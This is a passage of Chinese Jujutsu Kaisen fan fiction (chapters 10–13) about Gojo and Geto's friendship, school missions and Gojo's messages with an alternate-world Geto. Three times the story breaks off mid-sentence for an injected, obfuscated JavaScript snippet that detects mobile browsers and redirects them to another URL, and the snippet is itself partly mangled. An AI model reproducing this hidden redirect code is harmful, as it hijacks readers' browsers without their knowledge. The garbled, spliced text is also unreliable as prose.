其实停电对咒灵操使来说几乎没什么影响，他完全可以靠作用多样的咒灵来照料生活，再加上本人其实并不愿意将素昧蒙面的后勤人员直接按到坏人的位置上去，所以如果不是夜蛾正道提起，他都没意识到这些拖延背后掩藏着的微弱恶意。 不过，就算现在知道了，他也没能产生愤怒之类的情绪。因为那些恶意并不来自下层这些只是听命行事的后勤人员，而是……背后命令他们的存在。 夜蛾正道叹了口气，解释道：“高专的学生毕业后，通常是效力于总监部，或者靠高专的推荐前往大学继续学习，回归普通人的生活。还有极少数的……” 要么做自由咒术师，要么勉为其难凑进了非常讲究血统的咒术世家的行列里去。 想来总监部根本没觉得夏油杰可能去做自由咒术师…… 夏油杰眨了眨眼，用一种非常微妙的语气说：“喔，因为我和悟走得太近，所以已经被总监部的大人们自动判为了五条家的人？哎呀呀，厉害……” 于是越想越不爽的总监部大人们就在高专只剩他一个人的时候进行了一些若有似无的找茬。 那还真是有够低级的……完全没被影响到的夏油杰略感无语。 好像五条悟只是由五条家的少主、未来的家主、必然绑定在五条血脉里的六眼神子这些标签凑成的一样，只要接近他就一定是为了从中牟利——现今咒术世家都有些衰落，甚至连御三家也颇显颓势，但毕竟作为还有祖上积累下来的家底，爽过这几代还是轻轻松松的。 ……唉，好像就绝对不能是他单纯地喜欢和五条悟玩。 他们可是非常纯洁的、唯一且一辈子的挚友诶~ 真是庸俗啊，咒术界的高层。 夜蛾正道：“……” 这小子的表情也过分嚣张了，看起来实在发自内心地看不起高层的大人们，夜蛾正道不禁喉头一哽，又不得不承认他说得很对。 夏油杰当然也非常聪明，只是直接把话说得太清楚太明白，让心情非常复杂的成年人夜蛾正道满头大汗，欲言又止许久才说：“……下次再有类似的事情，要记得告诉我。” 稍微有点脑子的人都能看出来，如今的咒术界存在诸多问题，只不过碍于总监部和御三家的利益纠葛与某种“祖宗之法不可变”的隐性规则，咒术界这架破破烂烂的马车还能勉强地运作下去，自然也不会有人背叛自己的利益还要冒着万一改得比现在还要烂的风险跳出来说一定要改变。 摊上这么群智力有障碍且心思歹毒的高层，倒霉的除了基层人员还是基层人员。夜蛾正道只是个教师而已，为学生争取一些正当权利就是他力所能及的事了，至于更多的……就别为难他了吧？ 夏油杰微微颔首，“好的，我明白了。谢谢您。” 夜蛾正道摆摆手，夏油杰看着他，而班主任沉默地推了推墨镜。 夜蛾正道当然没有能在高层面前担保五条悟和夏油杰绝对清白的面子，现在却也无法说出让两个亲密无间的少年就此保持距离的屁话，想到高层们无法利用就抹除的做派，最终只叹气说：“万事小心。” 这一届的学生们能凑到一起实在是千年难见的情景，如果是他们的话，说不定真能给咒术界带来不得了的改变。 感到班主任在这段谈话中最后四个字无形重量的夏油杰只能默默点头，和班主任告别后转身离开，拐过墙角就看见了一个挎着脸的五条悟。 白发少年也不知道听了多少，看见转过来的挚友刚想说话，就看着夏油杰不动声色地路过他身边，随即感到自己的袖口被轻轻拉了拉。 五条悟低头，蓝色的猫眼愣愣地盯着对方轻飘飘揪着自己袖口的指尖，却仿佛感到了无比强大的拉力似的，默不作声地跟着走。 走出一段距离，确认不会有思绪万千的无聊成年人听见接下来的谈话后，夏油杰才停下来，伸出两根手指就把五条悟的嘴角往上戳，疑惑道：“怎么了？刚刚的话有那么值得悟生气吗？还是有其他人惹你了？” 五条悟瘪着嘴往后仰避开邪恶狐爪。 他本来就被夏油先生的鬼话气得眼前一黑又一黑，结果走过来还听见叽里咕噜一大堆疑似在说因为他的关系，才让夏油杰被总监部针对了的屁话。 平心而论，这回夏油杰的态度实在无可指摘，就算知晓了自己被总监部针对了的缘由，也是一副戏谑的样子，根本没准备向强权低头放弃自己的挚友…… 五条悟理智上知道不应该迁怒，可又看到夏油杰的时候，他却感到一种没由来的委屈，讲话不免夹枪带棒起来：“杰会觉得是老子影响了你的前途吗？” 那个谁可是口口声声地说什么“单人发展会更好”诶！明明是一起长大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156241|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼驯染，怎么能说出这种鬼话，气死人了！ ——夏油先生说他们从小到大都待在一起来着。 夏油杰上下打量了他一会儿，抱起手挑了挑眉笑道：“开什么玩笑？给总监部或者御三家做走狗也算‘前途’？” 总监部的做派实在让人喜欢不起来，而五条悟对本家老登们的吐槽也毫不留情，而封建世家几乎全是一丘之貉，五条如此，想来禅院和加茂也差不了多少。 五条悟炸起的毛被顺下去一点，却仍然没好气地说：“老子难道又不代表五条家了？” “那是大人们觉得的，我只是说了他们的想法而已。”夏油杰不由得失笑，顿了顿才非常笃定地说，“我和悟——我们两个当然是一起的，和悟来自哪里都没关系。” 五条悟盯他，似乎想从那张脸上看出几分哄骗的意味——没有，一点都没有，这家伙认真得不能再认真了。 夏油杰很坦然地和他对视，片刻后露出个有点狡黠的笑容来，调侃道：“又不是悟大哭大闹着要和我当一辈子的搭档的时候了？‘反悔的人是小狗’哦？” 五条悟别过头去挠了挠后脑勺，心中郁气忽的一扫而空，即便如此，嘴仍然很硬：“切，老子测试一下杰而已。而且……也根本没有大哭大闹！” 夏油杰不置可否，很宽容地没有揭穿挚友，而是转移话题道：“说起来，今天之前还真没特别想过以后要做什么呢。仔细一想，咒术师的就业前景不太广阔啊。” 总监部做派如此，实在让人喜欢不起来，而御三家嘛…… 五条悟过去对本家老登的吐槽可以说是毫不留情，封建世家差不了多少，五条如此，禅院和加茂大概也就那样。如果仍然想做咒术师且不想做强权大手的走狗的话，选项真是非常狭窄，仔细一看竟然只有那一个，或者两个？ 五条悟随口就把两个方向胡说出来了：“那去做自由咒术师咯，不用看烂橘子们的脸色，遇到不讲理的顾客就一拳打飞，实在过不下去了还可以滑坡当诅咒师，没事就去京都随机选择烂橘子扇连环巴掌——” 夏油杰沉吟片刻：“好吧，也不错。不过……悟怎么突然来找我了？不是让你去找硝子要葡萄吗？” 这人嘴上说也不错，但似乎对当自由咒术师和诅咒师都没多大兴趣，略显僵硬地转移了话题。 五条悟却一时间想不出该从哪里挑刺，只能先回答问题，理直气壮道：“去过了，发现杰不在，老子就出来找杰……怎么了？老子找杰还需要理由吗？” 夏油杰呼吸一滞，不过很快又自然道：“……那倒不用，悟要是想见我的话，就直接来找我吧。” 夏油杰：“……” 话出口后，有些微妙的沉默降临在二人之间，各自都一言不发地并肩往教室走。 靠着六眼，五条悟倒是可以目不斜视地偷看身边的男同学。 漫不经心就说出很不得了的话的夏油杰仍然面色如常，好像和平时也没有什么差别，但五条悟就是觉得此人现在看起来尤其地顺眼，实在怎么看都很满意。 五条悟：“……” 满意之余，五条悟突然又感到有点恨铁不成钢起来，恨不得穿过手机屏幕去往那个世界揪着不知道在做什么的五条先生冲到夏油先生面前去，两个人一起塞进房间里锁起来，不把话全讲明白绝不放人。 很可惜，他现在并不能做到。 人怎么总是会在最想做到什么事的时候，发现自己其实对此无能为力呢？ 11. 第 11 章 五条悟叹了口气。 夏油杰似乎也在走神，一时被叹气声吸引了注意力，却又很快撇开了视线。 他莫名地觉得，五条悟近来考虑的事情越来越多了，整个人似乎正光速成长着…… 一直到两人回到教室门口，奇异的沉默才被五条悟叮咚两声的手机打破了。 五条悟掏手机的速度比放“苍”还快，夏油杰不禁侧目，腹诽此人怕是真的在谈吧。 A：【讲得也太直白了……真是的，给我留点面子啊，说得好像我很没用似的。】 没人知道、至少现在没人知道夏油先生在发出那串省略号之后究竟想了什么，但可以知道的是，他现在向着异世界的回音树洞里轻飘飘地扔出了一张小纸条。 A：【悟的个人能力太强了啊，现在的我要配合他总是会感到很辛苦，感觉离悟越来越远……可照顾弱者对悟来说也是很辛苦的事情，只是不想让悟感到为难所以想逃跑而已……抱歉，这种话说出来果然很丢人啊。明明当初还大言不惭地说什么我们是最强的，结果现在连继续的勇气都没有。】 五条悟缓缓眨了眨眼，最终露出了个很无奈的笑，打字说： 【杰愿意告诉老子这些真是太好啦虽然老子不太了解漫才啦，但要表演好节目绝对是两个人的功劳，只顾着自己发挥还没发现搭档的为难的笨蛋才是该反思的家伙。不过杰也再考虑一下吧，解散是没问题的，但连讨论都没有就要解散不可以，让那家伙死也要死个明白啦！】 A：【会去的，很快就去……等我先睡一会儿。谢谢小悟，晚点再聊吧。】 五条悟终于在话疗夏油先生的过程中取得了第一阶段胜利，这可比打通高难度游戏关卡的成就感高多了。 喜悦之情无以言表的五条悟盯上了完全状况外的夏油杰，忽的向身边一撞，实则张开双手抱着把不明所以的挚友举起来转了一圈，随即把人丢下飞快地跑走了。 突然被袭击的夏油杰瞳孔地震：“？？？” 隔了一会儿他才反应过来，大喊着问：“悟，你去哪里啊——” 今天不上课了？ 五条悟早就已经跑远了。 …… 次日早晨。 即便自最初入学起就明了男同学精神状态属实灵异，但家入硝子目瞪口呆地看着五条悟放到她桌子上的一大堆心理学著作时，还是不禁产生了几分疑惑的情绪。 也没说这场笨蛋青春物语还有她的事啊？她又没有傲娇属性。 家入硝子拿起最上层的一本——《心理评估与诊断》，这似乎还是大学的专业教材。五条悟昨天正大光明地翘了课，想来就是去搞这些书了。 浅浅翻阅片刻后，救死扶伤的医生小姐抬眼，问：“给我这个，是什么意思？” 五条悟煞有介事道：“反正硝子以后也是要留在高专做医生的，干脆拓展一下知识，顺便也能处理咒术师的心理问题。” 实际上，他昨晚也考虑过要不要去说服高专增设心理咨询师的职位。不过这种提议很快就被他自己否决了—— 要从那群铁公鸡手里抠出一个子都难如登天，让他们多发一份工资还不得要了他们的命？ 他连对方会给出怎样的反驳都想到了，大概就是“怎么原来的学生都没有这种问题？”、“你们还是太娇气了！”等等……就是恐怕没人有那个胆子在他面前直说。 所以，还是来绑架家入硝子，让她再多学一点吧，他也可以和正经医生交流一下，免得只靠自己一家之言彻底给夏油先生带歪了。 家入硝子无言地看着他，很快就明了此人打的是发一份工资让她打两份工的算盘，顿时认为五条悟颇具资本家思维，很适合被挂在高专的路灯上。 似乎是女同学鄙夷的眼神太过明显，五条悟连忙说：“老子也在学的！” 他倒是已经夸下了要做异世界回声树洞的海口，但复盘一下先前和夏油先生交涉的过程，就能清楚的看到…… 最开始满怀信心的他，实际上坚持不了三条就气得想咬人。 至于取得的阶段胜利嘛……与其说是他真的劝服了夏油先生，不如说是对方仍然带着一种关照后辈的妥协之意做出了让步。 五条悟其实挺不高兴的，就算对面是个在工作的成年人，但他总觉得自己应该和夏油杰是平级的，一点都不愿意被当成小鬼糊弄—— 当然，他自愿撒娇打滚的情况要排除在外，这是五条大人争取正当权益的迂回手段罢了。 聪慧的女同学又看过教室，精准地锁定了唯一那位不在场的同学，直截了当道：“你觉得夏油的心理有问题？” 否则照这两个连体婴的亲密程度，五条悟怎么会特意单独跑来找她？ 五条悟黑线：“……到底哪句话提到杰了？没有，不是！杰明明超正常的好不好？有问题的是、呃……老子的网友。就上次那个，硝子知道的。” 他只是不想当着杰的面谈这些而已。 要是两个思维相似的家伙就这么隔空对上脑回路，他一个人可应付不来。 哦，原来是神秘人A。家入硝子又翻了翻手上的教材，随口问道：“你隔着屏幕就能诊断他的心理问题了？” 五条悟忽的来劲了，双手啪一下撑到了她桌子上，很正经地说：“他有很明显的异常行为啊。至少持续了一周的个人痛苦情况，回避问题贬低自己，而且这段时间恐怕也没有和除老子之外的人交流过，算是主动地偏离社会了……” 从他第一次收到夏油先生的短讯到现在已经是第五天了，可那家伙怎么会只是从说要解散组合的那一天才开始痛苦呢？ 一定是在更久远的时候，从微不可察积累至今，已然沉重得让人喘不过气来的负面情绪终于让夏油先生崩溃了。 能从让自己痛苦的地方逃走其实也不错，但对方看起来显然没能真正地逃掉，让这种状态的夏油先生继续一个人乱来才会出问题，所以五条悟才会一直说让他当面去找那个白毛聊聊。 不过五条悟最生气的点也在这里——整整五天了耶，幼驯染兼搭档的夏油先生都人间蒸发五天了，臭白毛到底在忙什么啊，这都没反应过来要找人？ 不是能随随便便封杀人的霸道总裁吗？日本就这么屁大点地方找个人都找不出来？还是说染上了些上位者的臭毛病，夏油先生不来他也不去是吧？ 无语，哪里学出的一身烂橘子味。 唯一的好消息大概就是夏油先生昨天答应过他会去正式谈谈了。当然，如果是唬人的，直到下午也没回报自己到底有没有去找搭档聊聊，五条悟就要继续短讯轰炸了。 五条悟心里怒火滔天，面上却是一本正经地分析了半天。 家入硝子听得微微瞪大了眼睛，震惊道：“……你居然真在学啊。” 她才只粗略地翻了翻目录，听五条悟吧嗒吧嗒吐出几个专业术语后便跟着目录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156242|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻到了相应页码，惊讶地发现刚刚五条悟所说的竟然真是书上的内容，还加上了一些他的个人理解。 想必，那位A先生隔着屏幕都能让五条悟察觉到如此的异常，如果不是装的，情况可能还真的非同一般地严重。 家入硝子把书关上，稍显认真了一些：“对方是咒术师？” 甚至都让五条悟顺便也关心上其余咒术师的心理状态了。 五条悟思考了一会儿，理直气壮地说：“不是，普通人而已。老子本来只是想让硝子帮忙参谋的，不过要是硝子学了，能帮到其他人也可以，老子没意见。” 家入硝子莫名松了口气。 好了，这个态度一出来，她就不必怀疑此人是否被夺舍了。 家入硝子微微颔首道：“好吧，我会学的……”她说着抬手指了指五条悟身后，很含混地“嗯嗯”了两声，希望男同学能理解她的意思。 敢在开学第一天就翘课，想来五条悟对自己会承担班主任的怒火应该也有所预期了吧？ 不过不用她提醒，六眼也察觉到了危险将近，五条悟非常警觉地抱住脑袋蹲下，大叫着迅速解释道：“老子昨天有事，特别特别重要的事——夜蛾不许揍老子，老子可以补假条的！下次、下次就补给你！今天忘记了！真的对不起啦——” 幽灵一样飘进教室的夜蛾正道拳头握了又松，最终看在对方态度算得上良好的份上，还是没让五条悟在这高专学生最繁忙的夏季学期受不必要的伤，揪着问题儿童反复强调过“以后有事要请假提前说”才把他放走了。 现在正值盛夏，诅咒高发，家入硝子必定不能离开高专了，而两个攻击性术式的男生也不可避免地变得繁忙起来，从早忙到晚都不一定能得到休息的生活怕是得持续好一段时间。 五条悟都习惯了，他之前也有好长一段时间被本家翘出来在夏天加班呢。 每年夏天，平日里不怎么动弹的御三家也会派族人们出门走好几圈，巡视并祓除各地的咒灵——倒不是因为他们多有社会责任感，主要是得显示一下自己的能力，不能全让总监部下属的高专把祓除咒灵的事务包圆了，否则会显得有没有御三家都一样，不太适合他们保持高人形象。 明明是让人头疼的诅咒高发期，却莫名有一群半只脚踏进棺材里的烂橘子们在隔空斗蛐蛐，真是让人不爽。 五条悟并不想参与，本来特意选了往东京高专跑，也不过是看在这边离咒术界的核心——也就是京都，距离远，就算名义上是总监部的下属单位，也不可能事事都有烂橘子们安排。 打定主意奔赴自由的六眼神子当时并没能想到，自己看上的挚友会是个责任感无比强烈的家伙，现在是完全同自己一开始设想的自由蓝图相距甚远了，不过本人倒是相当乐在其中，甚至都不计较自己又成了蛐蛐王。 五条悟远远地就看见夏油杰站在辅助监督的车旁等他，脚下不自觉地便加快了速度，几步就走了过去，也不嫌温度高，顺手就扒上了人家肩膀，问：“今天都有什么麻烦呀？” 夏油杰笑道：“今天还好哦，主要只需要去解决商场的咒灵异常聚集，如果顺利的话，下午就可以回高专了。” 辅助监督弱弱地探出头来，“既然大家到齐了，就先上车吧？我们早去早回。” 两个高中生感到了辅助监督略显委婉的催促，很迅速地挤进了后排。 小车加速驶离高专，咒术师的夏天正式开始了。 12.第 12 章 今天白日的任务——那个咒灵异常聚集的商场，实在是过于磨人了。 意外吞噬了某地镇守咒物的咒灵遁逃至此，却因为咒物封印松动吸引了不少同类也聚集了过来，它们的实力算不上强，但数量有点太多了。 碍于商场地形与人员疏散困难，在不能引起恐慌的情况下，两个高中生只能尽量做得自然，像是真的来逛商场似的从一楼慢慢逛到顶楼，实则是一路走一路抓咒灵，在高专躲掉的打扫卫生竟然某种意义上在任务里被补齐了。 最终把咒物重新封印好转交回原本的镇守地后，已经是晚上了。一整天只接受了辅助监督的小面包投喂的少年们互相搀扶着回寝室烧水泡面，等待杯面泡好的时候，五条悟才终于有空看手机。 又去接水喝的夏油杰也给他接了一杯，五条悟顺手就接了往嘴里倒。 夏油先生下午真给他发了消息，只是内容稍显震撼。 A：【我今天见到悟了，他不太好……】 五条悟莫名其妙地提起一口气，然后就不小心被水呛到了。 夏油杰被吓了一跳，连忙抽纸递过来又给他拍拍背，一个大不敬的想法就这么自然而然地浮现在了脑子里—— 五条悟还挺好杀的，放着不管就能被水呛死。 不过他转念又想，恐怕是搞网恋搞的……对，他的判断又回归网恋了。 要是仇家的话，很难解释之前五条悟看到消息就能开心得跳起来的情况。 但从五条悟这几天的状态来看，他那个网恋对象情绪非常不稳定……算了，五条悟自己高兴就好。 道德水平极高的夏油杰简直目不斜视，好像对五条悟收到的短讯内容没有丝毫好奇似的，确认他没事后就重新坐下了。 五条悟其实不在意他有没有看，此人已经让短讯内容吸引了注意力，越看眼睛瞪得越大。 A：【从我离开那天起，悟已经断断续续昏迷了五天……医生没能检查出任何异常，悟的家里人很生气，大概是觉得我太乱来，给他气出什么好歹了。不过他们还是把我放进病房里了，说是悟清醒的时候一直想找我。我暂时会留在这里陪悟的。】 五条悟默默原谅了同位体整整五天毫无作为的事。 原来、原来是检查出不知名绝症了啊……哈哈，还以为这小子疯了呢。不过这什么路数啊，霸道总裁得绝症？反了吧？ 这家伙凭什么晕？那边不是个根本不存在咒力的世界吗？五条悟将疑惑暂存，继续往下翻。 最后一条短讯发来的时间隔了十来分钟，夏油先生似乎很沮丧，先前勉勉强强让五条悟扯回来一点，见到躺尸的搭档之后好像又变本加厉地退得更远了！ A：【……悟刚刚醒了一会儿，他说自己脑袋很痛。不过和我之前想的一样，悟的确不想解散。现在这种状况也没什么好争的，我暂时不会走了，等到悟的状态好一点再说吧。如果有能让悟好起来的方法的话，小悟可以告诉我吗？】 夏油先生应该是想到了五条悟先前说自己被垃圾信息砸晕了的事情，显然已经将搭档疯狂昏迷的原因锁定在了神秘的异世界。 五条悟哪知道什么方法，他都习惯了生活在繁杂的信息流里了，最近也一直在持续不断地找夏油先生聊天，已经轻松适应了目前的信息强度，突然问他是怎么做到的——就，自然而然啊！ 他现在仍然能确定那个世界是不存在咒术的，否则那边的五条家遇到这种情况怎么会束手无策呢？可五条先生的状态确实是像六眼负荷过大不得不持续休眠的样子…… 然而，他这边可没出现六眼消失的问题，五条先生的六眼又从何而来？ 总不会还有第二个平行世界也被迫和那个没有咒力的世界产生了联系，作用效果就是把某个倒霉的咒术师五条悟的六眼换给了无辜的搞笑艺人五条悟吧？ 就是不知道没了咒力，六眼又乱七八糟地接收到了些什么信息……不过那显然不是之前的人生里都毫无超自然力量的五条先生能够领教的。 显而易见，搞笑艺人当然用不上六眼，甚至还为此遭了大罪。 但，没了六眼的咒术师不是超完蛋的吗？攻击倒是还没问题，大不了直接用咒力轰，防御就完全被ban掉了，如果是在战斗过程中突然完成了交换，咒术师仗着无下限自信不闪避却突然被打飞了，不是超糟糕吗？绝对会被杰嘲笑的吧！ “咔吧——” 夏油杰掰开了塑料叉子，淡淡道：“吃东西的时候就不要看手机了，对食物不礼貌。” 五条悟连吐槽“只是普通的泡面谈什么尊不尊重食物啊”的功夫都没有了，指尖在按键上动得飞快，敷衍道：“马上马上，很快就好啦——” 当然，他也没办法完全确定困扰五条先生的就是六眼，现在只能死马当活马医，把物理减少信息读取的方式发过去： 【老子倒是有个猜测，但不确定能不能管用。杰找眼罩之类的遮挡物，完全不透光的那种，先把他的眼睛挡起来试试看。我们最近有点忙，不能再秒回了，不过看到了一定会回的，杰不许随便把我当坏蛋！等到夏天过去就好了！】 夏油杰很微妙地顿了顿，把五条悟的塑料叉子也掰开，竟猛然发觉自己有几分不爽和失落，连忙欲盖弥彰地给忙着网恋的挚友把泡面搅了搅，确保调味料和水混合均匀后才将叉子向里一插，随后若无其事地吃起自己的那份来。 五条悟现在无比警觉，瞟他一眼就放下手机直截了当地问：“杰，你不高兴？” 已经有前车之鉴，他才不会一个人把杰丢在一边呢，五条大人认真起来可是很可怕的哦！ 夏油杰并不明白五条悟为什么要这样问，叼着面茫然地看过去，反应过来后轻轻地摇了摇脑袋。 就算是唯一的挚友，也不能在对方的私事上产生过多的掌控欲。 人生在世，必然也会存在其他更重要的关系，连这个都要计较的话，会显得他有点太粘人了……绝对不要，太没边界感可是会让人讨厌的。 ——自认独立酷guy的夏油同学如是想到。 五条悟只是微微眯眼看了他一会儿，便试探道：“是因为老子刚刚没有搭杰的话吗？是有被忽视的感觉吗？” 夏油杰至此一生中压力最大的时刻也不过如此了。 他总感觉五条悟最近变化很大，好似六眼突然进化出了读心术功能似的，总要把他藏得很好的小心思全挖出来——非要说的话，就是五条悟这家伙的边界意识本来就不强，现在还越来越过分了！ 夏油杰找不到身份去指责五条家的常识教育，却觉得自己作为一个常识社会人不能跟着五条悟乱来，怎么能因为挚友不太了解人际交往这方面就随便得寸进尺呢？ 一时间有些食不知味的夏油杰艰难地把嘴里的面条咽下去，才否认道：“没那种事，悟也想太多了。” 五条悟挑了挑眉：“真的？” 夏油杰点头点头点头。 五条悟发出“哼”声，伸手轻飘飘地对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15159264|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的刘海一弹，无奈道：“也不是什么丢人的事情吧？连这个都要骗人？” 夏油杰觉得他手欠，抬手就打掉邪恶猫爪，眉毛拧起来很嫌弃地说：“听不懂悟说的，不要因为自己怕寂寞就以己度人。” “才不是呢。”五条悟指了指自己的眼睛，“老子都看到了，杰刚刚掰叉子的速度大概比掰自己的慢了个零点几毫秒吧。杰敢发誓刚刚没偷偷在心里想奇怪的事吗？” 夏油杰眼神死，“……只是合理偏差而已，不会有人每次掰叉子的速度都一模一样的。” 五条悟皱了皱鼻子，不再纠结这个无理得算不上论据的证据，只是很认真地说： “老子都没有对杰隐瞒什么，也不想让杰有瞒着老子的秘密，像是不高兴的理由之类的……告诉老子也没关系吧？明明也还在可以撒娇的年纪啊，干嘛每天都要绷出一副成熟可靠的样子？也依赖一下老子嘛！” ——夏油先生的事不算！他说要拿给杰看，这家伙自己死活不要看的！ 夏油杰：“……” 绝望的优等生不自觉地就屏住了呼吸。 好可怕，一定有什么可怕的事情发生了。 他感觉五条悟在发光。 虽然不太清楚这家伙究竟是出于什么心态说出这么犯规的话的，但他无疑被击中了。 从小到大受到的教育都告诉夏油杰，要听话懂事，不要扫兴，不要给旁人添乱，与此同时还要把每件事都尽力做到最好，这样才是好孩子。 结果突然在这么一个非常随意的节点，有人理所当然地告诉他，没关系，他们可以交换所有的秘密，可以互相依赖，不高兴也可以，把理由讲出来就好了，随便撒娇都完全OK…… 夏油杰觉得自己有点头晕脑胀了，这才反应过来自己刚刚居然忘记呼吸，猛吸了一口气，装作很不解风情的样子吐槽道：“这种话好像不该是在这种情况下说出来的吧？” 非常普通的寝室里，撑起来的小桌板上放了两碗平平无奇的泡面，两个从商场“打扫卫生”回来灰扑扑的疲惫高中生……怎么看气氛也不对啊！ 五条悟歪了歪头，诚恳地问：“那杰想在什么时候听？” 有些东西不能靠自认为心知肚明就不讲出来，否则某些笨蛋是不会明白的。 夏油杰实在被恐怖的直球打得找不到北，摆了摆手道：“好了好了，随便啦，都可以……总之现在别再说了……” 五条悟实在是太犯规了，他务必要将这种不应该出现的、莫名的悸动给压下去，毕竟…… 这家伙现在可是在“恋爱中”啊。 偏偏是在这种时候发现自己大概、也许、可能——对唯一的挚友和搭档产生了一些多余的情感，要是不及时掰正过来的话，人生大概就要完蛋了。 他的道德感和他的正义感都无法允许他做出一些不太体面的事来。 “叮咚”一声，五条悟的手机又响了。 此邪恶银渐层扭身去看手机的带起来的风又把优等生的刘海撩了一遍。 夏油杰：“……” 夏油杰闭了闭眼，默默在心里补上一句。 ——并且悟还对他的对象非常迷恋。 靠，凭什么。 五条悟好像突然意识到了什么，又回头问：“所以杰刚刚到底为什么不高兴啊？” 夏油杰露出天衣无缝的微笑，“没有哦，真的是悟想错了。” 能当朋友也挺好的，这样就已经很好了。 13.第 13 章 A：【很有效，谢谢】 对方只回答了这样一条信息，连更多的寒暄都没有，仿佛五条悟失去了利用价值似的，自此消失了整整一个周。 五条悟看着毫无更新的消息栏，心中有点焦躁。 本来就是意外收到的短讯，可是管都管了，他才不是会轻言放弃的人。可他倒是在努力沟通，对面却动不动就跟他断开联系，只留一个热心咒术师迷茫地着急上火。 他们今天的任务已经处理完了，路过刨冰店的时候，五条悟突然对这种加了五颜六色色素的刨冰产生了兴趣。 只要和夏油杰一说，他都没进行更多的鼓动，两个问题儿童迅速地就达成了共识，立刻报告辅助监督他们先不回高专了，没等辅助监督反应过来就已经开门下车跑路了。 五条悟也不是很懂这种普普通通的刨冰店怎么会排那么长的队，推辞说自己今天好累于是就不过去排队了，其实是想一个人蹲在树荫里看手机。 结果等到夏油杰端着碗刨冰回来时，就收到了来自挚友的灵魂质问。 好像已经要热晕过去的白发少年沉重地叹了口气，抬起头来，问得掷地有声：“杰觉得自己会在什么情况下不搭理老子？” 夏油杰心说这家伙谈上恋爱之后真是越来越多愁善感了，面上黑线道：“我有不搭理过悟吗？” 五条悟轻而易举地翻起了旧账：“上次啊，杰后面就不管老子了。” 他还在说两人靠短讯吵架的那事。 实则是点火的那个人对自己的罪行毫无自觉，仗着挚友大多数时候都会劝服自己不要和笨蛋计较理直气壮地发难。 夏油杰觉得他实在忧郁得没道理，顿了顿才说：“明明是悟先不理我的。” 五条悟：“……” 好吧，他突然意识到了什么——那个时候确实是他先不搭理夏油杰的，男同学不理人显然是一种拒绝热脸贴冷屁股的回击，显然和现在的情况无法比较。 想到这里，五条悟脸上的表情更加茫然了，站起来顺口就吃了夏油杰递过来的一勺刨冰，在嘴里细细品味了一下才含混不清地说：“这什么味？” 虽然看起来是粉色的，但吃起来是很平庸、很普通的糖精的味道，他还以为至少和那些粉色的水果有关系呢，所以只是色素之类的东西吧。 好——好普通、好平庸，就算一开始就没抱什么期望，但也太平淡了。 “就是普通的糖味，看起来有颜色而已。毕竟一百五十円就一大碗呢。”夏油杰回答完，意料之中地反问，“果然和悟小时候吃的那种不一样吧？” 他说着又往五条悟嘴里喂了一口，顺嘴又吃了的五条少爷点头点头点头——以五条家对待神子的态度，这种平庸的甜品怎么可能出现在他视线里？就算是刨冰，也是要用新鲜水果现做的啦。 但他现在一点都不想扫夏油杰的兴，力求一定要让挚友完全明白他的心意，便立刻又补充道：“还可以啦，老子之前都没吃过，感觉很新鲜耶，之前根本没吃过这样的东西。和杰在一起果然连玩泥巴都高兴。” 夏油杰：“……” 五条悟要是不提起，他都快忘了他们今天上山去追那只影响了土地状态的咒灵，结果不小心就被撒了一身土，刚刚才在辅助监督车上勉强处理了一下的事情了。 这家伙倒是靠着无下限避开了被弄脏衣服的命运，有没有人考虑过他的心情？要不要猜猜，他为什么在这个温度还把外套扣得严严实实的？ 他一时判断不出五条悟究竟是不是ky瘾犯了在刺挠人，只得长长地吐出一口气，无语道：“……谢谢，我也喜欢和悟一起玩。” 五条悟很满意，又嚼了两口才想起自己把刨冰接过来，问：“杰不吃吗？” 他看起来似乎对喂夏油杰吃刨冰相当跃跃欲试，夏油杰连忙摆手——他要是想吃的话，自己就买了，现在不过是照顾在平民生活中非常没见识的大少爷的好奇心罢了。等会回高专之后他还要调伏咒灵，现在可什么都不想放进嘴里。 虽然被拒绝了，但五条悟也说不上失望，很淡定地又将话题再次扯回原处，“那杰觉得自己在什么情况下才会不搭理老子呀？除了老子先不搭理你的时候。” 夏油杰想了想，“大概是有事没空看手机的时候吧。我要是看到了悟的消息，一般都会回复的。” 五条悟很感动，“杰，你真好。” 果然还得是自己的挚友，除了他没道理的时候从来不让他受委屈。 挚友最近实在越来越反常了，夏油杰不管做什么都有可能得到真心实意的夸夸，忍耐了一个星期，到现在听见仍然有点背后发凉。 “……悟最近到底怎么了？”夏油杰有点别扭地撩了撩自己的刘海，“自从暑假回来之后，就总是在说让人难为情的话啊。” 搞得他心里七上八下的……这家伙真是的，可恶！ 简直就像是不通人性的兽类非常蛮横地扑了上来以一通乱舔来表达好感，根本没关心在人类视角的莫名其妙被舔了一通究竟是多恐怖的事情…… 